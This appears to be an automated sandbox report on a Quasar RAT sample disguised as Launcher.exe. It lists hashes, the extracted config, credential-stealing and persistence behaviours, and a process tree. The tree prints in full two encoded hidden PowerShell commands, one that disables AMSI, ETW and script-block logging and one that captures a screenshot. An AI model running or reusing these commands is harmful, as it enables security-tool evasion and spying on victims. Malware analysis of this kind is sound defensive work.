quasar | 8413f68faebda13bd16a415983aaac5e6343af25dcf07f96502f61d431b2f4df

Analysis

user interaction
yes
max time kernel
300s
max time network
305s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
28/03/2026, 20:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Launcher.exe
Size 71.1MB
Sample260328-yyweeshx5w
SHA256 8413f68faebda13bd16a415983aaac5e6343af25dcf07f96502f61d431b2f4df
MD5 7e7193cc48c6de37a399218529246ea2
SHA1 541091b3d1dfa4fbfd7a1c03b3ebdc9abf07c07f
SHA512 e78be324c1d9502e5d138b41b3f0da1fc1cf2cec28f2beffe7344bbbb754a6c77bdca1d36adecd2db5aa93040233b7061efe011806a142a8472a64fcf597477c
SSDEEP 1572864:LswyBODMEgUINiCmpYmHIgVG1SF4JelKb2mk86MqadkLmX8MCE:L/yBCGbNxmKmHZVQrJe22k6MXqLra
TLSH
T145F733D9917502F3D3398F38D30808D6095BBE352A595DEB2AA6331B5503CDBBEB4C89
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution quasar persistence spyware stealer trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
DAB3121B6A50A539543675F89440074F0318A96D
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00070000000285fa-387.dat	family_quasar
behavioral2/memory/3864-474-0x000001C16EBF0000-0x000001C16ECE4000-memory.dmp	family_quasar

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
58	3760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2932	powershell.exe
3968	powershell.exe
3516	powershell.exe
4512	powershell.exe
3760	powershell.exe
768	powershell.exe
2932	powershell.exe
772	powershell.exe
1716	powershell.exe
1404	powershell.exe
5104	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1338106300-3757396323-2379352216-1000\Control Panel\International\Geo\Nation	FileInstaller.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1338106300-3757396323-2379352216-1000\Control Panel\International\Geo\Nation	FileInstaller.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 9 IoCs

pid	Process
3424	FileInstaller.exe
2664	FileInstaller.exe
5076	FileInstaller.exe
1724	FileInstaller.exe
4848	father5345.exe
760	899893e7.exe
3864	hhed6zpvmw.exe
4592	svchost.exe
2712	FileInstaller.exe

Loads dropped DLL 12 IoCs

pid	Process
3424	FileInstaller.exe
2664	FileInstaller.exe
2664	FileInstaller.exe
2664	FileInstaller.exe
2664	FileInstaller.exe
2664	FileInstaller.exe
2664	FileInstaller.exe
5076	FileInstaller.exe
1724	FileInstaller.exe
760	899893e7.exe
2712	FileInstaller.exe
2712	FileInstaller.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
5104	tasklist.exe
1804	tasklist.exe
3308	tasklist.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	FileInstaller.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2360	PING.EXE
5116	cmd.exe
2120	PING.EXE

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	899893e7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	FileInstaller.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	899893e7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FileInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FileInstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	FileInstaller.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2360	PING.EXE
2120	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3668	schtasks.exe
3308	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3864	hhed6zpvmw.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
3516	powershell.exe
3516	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
2932	powershell.exe
2932	powershell.exe
2932	powershell.exe
772	powershell.exe
772	powershell.exe
772	powershell.exe
1716	powershell.exe
1716	powershell.exe
1716	powershell.exe
2932	powershell.exe
2932	powershell.exe
2932	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
2612	chrome.exe
2612	chrome.exe
4276	msedge.exe
4276	msedge.exe
3760	powershell.exe
3760	powershell.exe
3760	powershell.exe
760	899893e7.exe
760	899893e7.exe
760	899893e7.exe
5040	msedge.exe
5040	msedge.exe
4440	chrome.exe
4440	chrome.exe
2712	FileInstaller.exe
2712	FileInstaller.exe
224	chrome.exe
224	chrome.exe
4992	msedge.exe
4992	msedge.exe
2076	msedge.exe
2076	msedge.exe
3112	chrome.exe
3112	chrome.exe
640	chrome.exe
640	chrome.exe
3868	msedge.exe
3868	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeDebugPrivilege	5104	tasklist.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeIncreaseQuotaPrivilege	768	powershell.exe
Token: SeSecurityPrivilege	768	powershell.exe
Token: SeTakeOwnershipPrivilege	768	powershell.exe
Token: SeLoadDriverPrivilege	768	powershell.exe
Token: SeSystemProfilePrivilege	768	powershell.exe
Token: SeSystemtimePrivilege	768	powershell.exe
Token: SeProfSingleProcessPrivilege	768	powershell.exe
Token: SeIncBasePriorityPrivilege	768	powershell.exe
Token: SeCreatePagefilePrivilege	768	powershell.exe
Token: SeBackupPrivilege	768	powershell.exe
Token: SeRestorePrivilege	768	powershell.exe
Token: SeShutdownPrivilege	768	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeSystemEnvironmentPrivilege	768	powershell.exe
Token: SeRemoteShutdownPrivilege	768	powershell.exe
Token: SeUndockPrivilege	768	powershell.exe
Token: SeManageVolumePrivilege	768	powershell.exe
Token: 33	768	powershell.exe
Token: 34	768	powershell.exe
Token: 35	768	powershell.exe
Token: 36	768	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeShutdownPrivilege	3424	FileInstaller.exe
Token: SeCreatePagefilePrivilege	3424	FileInstaller.exe
Token: SeIncreaseQuotaPrivilege	2932	powershell.exe
Token: SeSecurityPrivilege	2932	powershell.exe
Token: SeTakeOwnershipPrivilege	2932	powershell.exe
Token: SeLoadDriverPrivilege	2932	powershell.exe
Token: SeSystemProfilePrivilege	2932	powershell.exe
Token: SeSystemtimePrivilege	2932	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3424	FileInstaller.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3864	hhed6zpvmw.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5112 wrote to memory of 3424	5112	Launcher.exe	85
PID 3424 wrote to memory of 5060	3424	FileInstaller.exe	86
PID 3424 wrote to memory of 2664	3424	FileInstaller.exe	87
PID 3424 wrote to memory of 2664	3424	FileInstaller.exe	87
PID 5060 wrote to memory of 3516	5060	cmd.exe	89
PID 3424 wrote to memory of 5076	3424	FileInstaller.exe	93
PID 3424 wrote to memory of 1724	3424	FileInstaller.exe	94
PID 3424 wrote to memory of 3836	3424	FileInstaller.exe	96
PID 3424 wrote to memory of 3812	3424	FileInstaller.exe	98
PID 3812 wrote to memory of 4512	3812	cmd.exe	100
PID 3424 wrote to memory of 2244	3424	FileInstaller.exe	102
PID 2244 wrote to memory of 5104	2244	cmd.exe	104
PID 3424 wrote to memory of 4376	3424	FileInstaller.exe	106
PID 4376 wrote to memory of 3744	4376	cmd.exe	108
PID 3424 wrote to memory of 4540	3424	FileInstaller.exe	110
PID 4540 wrote to memory of 2612	4540	cmd.exe	112
PID 3424 wrote to memory of 1316	3424	FileInstaller.exe	114
PID 1316 wrote to memory of 344	1316	cmd.exe	116
PID 344 wrote to memory of 472	344	net.exe	117
PID 3424 wrote to memory of 3052	3424	FileInstaller.exe	118
PID 3052 wrote to memory of 4028	3052	cmd.exe	120
PID 4028 wrote to memory of 1060	4028	net.exe	121
PID 3424 wrote to memory of 3720	3424	FileInstaller.exe	122
PID 3720 wrote to memory of 768	3720	cmd.exe	124
PID 3424 wrote to memory of 3612	3424	FileInstaller.exe	125
PID 3612 wrote to memory of 2836	3612	cmd.exe	127
PID 2836 wrote to memory of 4156	2836	net.exe	128
PID 3424 wrote to memory of 3696	3424	FileInstaller.exe	129
PID 3696 wrote to memory of 2932	3696	cmd.exe	131
PID 3424 wrote to memory of 4464	3424	FileInstaller.exe	132
PID 4464 wrote to memory of 3748	4464	cmd.exe	134
PID 3424 wrote to memory of 2564	3424	FileInstaller.exe	135
PID 2564 wrote to memory of 772	2564	cmd.exe	137
PID 3424 wrote to memory of 4996	3424	FileInstaller.exe	138
PID 4996 wrote to memory of 1060	4996	cmd.exe	140
PID 3424 wrote to memory of 4804	3424	FileInstaller.exe	141
PID 4804 wrote to memory of 1716	4804	cmd.exe	143
PID 3424 wrote to memory of 768	3424	FileInstaller.exe	145
PID 768 wrote to memory of 4512	768	cmd.exe	147
PID 4512 wrote to memory of 4416	4512	net.exe	148
PID 3424 wrote to memory of 5028	3424	FileInstaller.exe	149
PID 5028 wrote to memory of 2932	5028	cmd.exe	173
PID 3424 wrote to memory of 4720	3424	FileInstaller.exe	152
PID 4720 wrote to memory of 2744	4720	cmd.exe	154
PID 3424 wrote to memory of 5072	3424	FileInstaller.exe	155
PID 5072 wrote to memory of 1404	5072	cmd.exe	157
PID 3424 wrote to memory of 4328	3424	FileInstaller.exe	158
PID 4328 wrote to memory of 3856	4328	cmd.exe	160
PID 3856 wrote to memory of 1652	3856	net.exe	161
PID 3424 wrote to memory of 4260	3424	FileInstaller.exe	162
PID 4260 wrote to memory of 3968	4260	cmd.exe	164
PID 3424 wrote to memory of 2428	3424	FileInstaller.exe	165
PID 2428 wrote to memory of 4000	2428	cmd.exe	167
PID 3424 wrote to memory of 392	3424	FileInstaller.exe	168
PID 392 wrote to memory of 5104	392	cmd.exe	170
PID 3424 wrote to memory of 4848	3424	FileInstaller.exe	171
PID 4848 wrote to memory of 760	4848	father5345.exe	177
PID 3424 wrote to memory of 3864	3424	FileInstaller.exe	178
PID 760 wrote to memory of 2612	760	899893e7.exe	179
PID 760 wrote to memory of 2612	760	899893e7.exe	179
PID 760 wrote to memory of 4276	760	899893e7.exe	180
PID 760 wrote to memory of 4276	760	899893e7.exe	180
PID 760 wrote to memory of 3176	760	899893e7.exe	181
PID 760 wrote to memory of 3176	760	899893e7.exe	181

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1092	attrib.exe
3556	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe
  C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -nop -w hidden -enc dAByAHkAewAkAGEAPQBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApADsAJABmAD0AJABhAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAFMAZQBzAHMAaQBvAG4AJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBpAGYAKAAkAGYAKQB7ACQAZgAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACQAbgB1AGwAbAApAH0AOwAkAGEALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkAQwBvAG4AdABlAHgAdAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7ACQAZQB0AHcAPQBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVAByAGEAYwBpAG4AZwAuAFAAUwBFAHQAdwBMAG8AZwBQAHIAbwB2AGkAZABlAHIAJwApADsAaQBmACgAJABlAHQAdwApAHsAJABlAHQAdwAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACkAfQB9AGMAYQB0AGMAaAB7AH0AdAByAHkAewBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUwBjAHIAaQBwAHQAQgBsAG8AYwBrACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMALgBIAGEAcwBoAFMAZQB0AFsAcwB0AHIAaQBuAGcAXQApACkAfQBjAGEAdABjAGgAewB9AA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w hidden -enc dAByAHkAewAkAGEAPQBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApADsAJABmAD0AJABhAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAFMAZQBzAHMAaQBvAG4AJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBpAGYAKAAkAGYAKQB7ACQAZgAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACQAbgB1AGwAbAApAH0AOwAkAGEALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkAQwBvAG4AdABlAHgAdAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7ACQAZQB0AHcAPQBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVAByAGEAYwBpAG4AZwAuAFAAUwBFAHQAdwBMAG8AZwBQAHIAbwB2AGkAZABlAHIAJwApADsAaQBmACgAJABlAHQAdwApAHsAJABlAHQAdwAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACkAfQB9AGMAYQB0AGMAaAB7AH0AdAByAHkAewBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUwBjAHIAaQBwAHQAQgBsAG8AYwBrACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMALgBIAGEAcwBoAFMAZQB0AFsAcwB0AHIAaQBuAGcAXQApACkAfQBjAGEAdABjAGgAewB9AA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3516
- - C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\file-installer" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1740,i,1569313058075119129,6156813272273177800,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1736 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2664
- - C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\file-installer" --field-trial-handle=1740,i,1569313058075119129,6156813272273177800,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5076
- - C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\file-installer" --app-path="C:\Users\Admin\AppData\Local\Temp\7z806E63F8\resources\app.asar" --no-sandbox --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1740,i,1569313058075119129,6156813272273177800,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ver"
    3⤵
    PID:3836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -nop -w hidden -enc QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAsAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAcwA9AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzADsAJABiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJABzAC4AVwBpAGQAdABoACwAJABzAC4ASABlAGkAZwBoAHQAKQA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiACkAOwAkAGcALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAkAHMALgBYACwAJABzAC4AWQAsADAALAAwACwAJABzAC4AUwBpAHoAZQApADsAJABiAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAXwAxADcANwA0ADcAMgA4ADgAOAAwADcAOAAxAC4AagBwAGcAJwAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAC4ARABpAHMAcABvAHMAZQAoACkAOwA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3812
